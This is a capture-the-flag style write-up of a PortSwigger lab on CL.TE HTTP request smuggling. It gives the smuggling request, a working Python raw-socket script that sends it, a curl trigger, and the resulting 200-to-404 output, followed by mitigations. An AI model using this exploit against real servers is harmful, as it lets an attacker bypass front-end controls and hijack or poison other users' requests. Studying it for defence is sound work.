Necessary Background Concepts To Solve The Lab
HTTP Request Smuggling Basics
What is HTTP Request Smuggling?
HTTP request smuggling tricks a site into mixing up where one HTTP request ends and the next one starts.
Most apps sit behind a front-end (proxy / load balancer) that forwards traffic to a back-end. For speed, the front-end often sends several HTTP/1 requests over the same connection. That only works if both servers agree on where each request stops.
Why HTTP/1 can be unclear:
HTTP/1 has two ways to say how long the body is:
Content-Length: exact size in bytesTransfer-Encoding: chunked: body sent in pieces, ending with a zero-size chunk (0\r\n\r\n)
If both headers are present and disagree, one server may use Content-Length and the other Transfer-Encoding. The attacker can then hide extra bytes that the back-end treats as the start of the next request.
Classic variants:
| Variant | Front-end uses | Back-end uses |
|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | Both support TE, but one can be tricked with a weird TE header |
Impact can include:
- Bypassing front-end security controls (rules on the proxy never see the hidden inner request)
- Poisoning other users’ requests / responses (leftover bytes get stuck onto someone else’s next request)
- Stealing credentials, tokens, or poisoning caches (capture or rewrite what another user sends or receives)
- Reaching privileged endpoints (e.g. hide
GET /internalso the back-end sees it while the front-end only allowed/, skipping path rewrites or auth headers the front-end would have added)
CL.TE & Differential Responses
CL.TE Smuggling & Differential Responses
In a CL.TE vulnerability the front-end trusts Content-Length while the back-end trusts Transfer-Encoding: chunked.
A minimal smuggling request looks like:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
What each server sees:
- Front-end (CL): body is 13 bytes, so it forwards everything through
SMUGGLED - Back-end (TE): sees chunk size
0, so the request ends immediately; leftover bytesSMUGGLEDstay in the socket buffer - Those leftover bytes are prepended to whatever request arrives next on that back-end connection
Confirming with differential responses
Timing delays can hint at smuggling, but a stronger proof is to force a different response than a normal request would get.
The usual pattern:
- Send an attack request that smuggles
GET /404 HTTP/1.1...into the back-end buffer - Immediately send a second request (ideally on a different client connection, same URL so load balancing still hits the same back-end)
- If the second response is
404 Not Foundinstead of the normal200 OKfor/, the smuggled prefix was applied and CL.TE is confirmed
After a successful smuggle, the back-end effectively processes something like:
GET /404 HTTP/1.1
X-Ignore: XPOST / HTTP/1.1
Host: ...
...
X-Ignore (or any dummy header) absorbs the start of the following real request so header parsing does not blow up before the path /404 is evaluated.
Writeup
PortSwigger's original description
This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response. Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1.
Solving the lab with Burp
In Burp, PortSwigger’s solution is to send this request twice in Repeater (HTTP/1.1). The first send leaves a smuggled prefix on the back-end connection; the second should get 404 Not Found. For this lab, that differential 404 is the solution.
POST / HTTP/1.1
Host: <lab-url>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X Why curl alone is not enough
Let’s force HTTP/1.1 and try to send both length headers:
curl -s --http1.1 -D - "https://<lab-url>.web-security-academy.net/" \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 35" \
--data-binary $'0\r\n\r\nGET /404 HTTP/1.1\r\nX-Ignore: X' -o /dev/null Command breakdown:
--http1.1= use HTTP/1.1 (needed for this attack; HTTP/2 won’t work the same way)
-H "Transfer-Encoding: chunked"/-H "Content-Length: 35"= try to send both length headers
--data-binary= send the body exactly as written
Two problems:
- With
Transfer-Encoding: chunked, curl usually removes or rewritesContent-Length, so the conflict of interpretation we need disappears - Curl still “fixes” the request for us instead of sending our raw bytes
So we stop using curl’s HTTP client and send raw HTTP/1.1 over TLS. Still simple tools, just not Burp.
We will rebuild the same idea without Burp, step by step.
Crafting the CL.TE smuggling request
First, count the bytes of the smuggled payload (just the body of our request; every \r\n matters):
print(len(b"0\r\n\r\nGET /404 HTTP/1.1\r\nX-Ignore: X"))
# 35 Script breakdown:
print(len(...))= count how many bytes the body has, soContent-Lengthcan match exactly
b"..."= a byte string, so\r\nare real CRLF bytes (not the two characters\andn)
0= chunk size zero: in chunked encoding this means “end of body” for the back-end
\r\n\r\nafter0= finish that empty chunk (size line, then blank line)
GET /404 HTTP/1.1\r\n= the smuggled request line the back-end will treat as the next request
X-Ignore: X= dummy header that absorbs the start of the following real request when they get glued together
# 35= the length we need inContent-Length
That matches Content-Length: 35.
So in this attack, each server will do the following:
- Front-end receives our
POST /request and, usingContent-Length: 35, forwards those 35 body bytes (our smuggled payload) to the back-end - Back-end uses chunked encoding (
Transfer-Encoding: chunked), sees chunk0, thinks the request is finished, and returns the response for ourPOST / - The back-end never reads
GET /404 HTTP/1.1\r\nX-Ignore: X, so those bytes sit unread in its receive buffer - The next request on that connection is glued onto the leftover. For example, if the next user (or our second send) starts with
POST / HTTP/1.1..., the back-end effectively sees:
GET /404 HTTP/1.1
X-Ignore: XPOST / HTTP/1.1
Host: ... The back-end therefore runs our smuggled GET /404, not whatever the next user asked for. Their real request (here POST /) is only appended onto X-Ignore, which is very likely ignored as an unknown header. So they get 404 Not Found, no matter which endpoint they meant to hit.
Smuggling with Python, then triggering with curl
First we’ll use Python sockets to send the smuggling request once and leave GET /404 sitting unread in the back-end buffer. Then, on a separate normal connection, we’ll use curl to request / like the next user would. Our curl is a new client connection; the front-end may still reuse the same back-end socket, which is how the leftover bytes get applied. That second request should get the smuggled 404:
import ssl, socket
host = "<lab-url>.web-security-academy.net"
body = b"0\r\n\r\nGET /404 HTTP/1.1\r\nX-Ignore: X"
ctx = ssl.create_default_context()
with socket.create_connection((host, 443), timeout=10) as raw:
with ctx.wrap_socket(raw, server_hostname=host) as sock:
sock.settimeout(5)
req = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
).encode() + body
sock.sendall(req)
print(sock.recv(4096).split(b"\r\n", 1)[0].decode()) Output:
HTTP/1.1 200 OK Script breakdown:
ssl+socket= send raw HTTP/1.1 over HTTPS, no auto-fixes from curl
Content-Length: {len(body)}= keep CL matching the smuggled body exactly
Transfer-Encoding: chunked= what the back-end trusts, so chunk0ends the request early
print(...split...)= show only the first line of the response (the status header) from the Python request
Then trigger the next request as a normal user with curl:
curl -si --http1.1 "https://<lab-url>.web-security-academy.net/" HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 11
"Not Found" Command breakdown:
-s= silent mode (no progress meter)
-i= include response headers in the output
--http1.1= use HTTP/1.1 on a normal separate connection, like the next user hitting/
That flip from 200 to 404 is what the lab wants.
No carlos were harmed in this lab. Instead of sending him into the digital void, we sent the next user’s request there. Close enough.
Mitigation
- Prefer HTTP/2 end-to-end: classic CL.TE smuggling needs HTTP/1 ambiguity, so HTTP/2 end-to-end is safe from this variant. It is not a free pass against every desync; other request-smuggling styles still exist when HTTP/2 is downgraded or mixed with HTTP/1 on the back-end
- Reject unclear requests: if both
Content-LengthandTransfer-Encodingare present, reject and close the connection - Make both servers agree: front-end should clean requests; back-end should refuse anything still unclear
- Be careful with connection reuse: turning off back-end keep-alive helps a bit, but it is not a full fix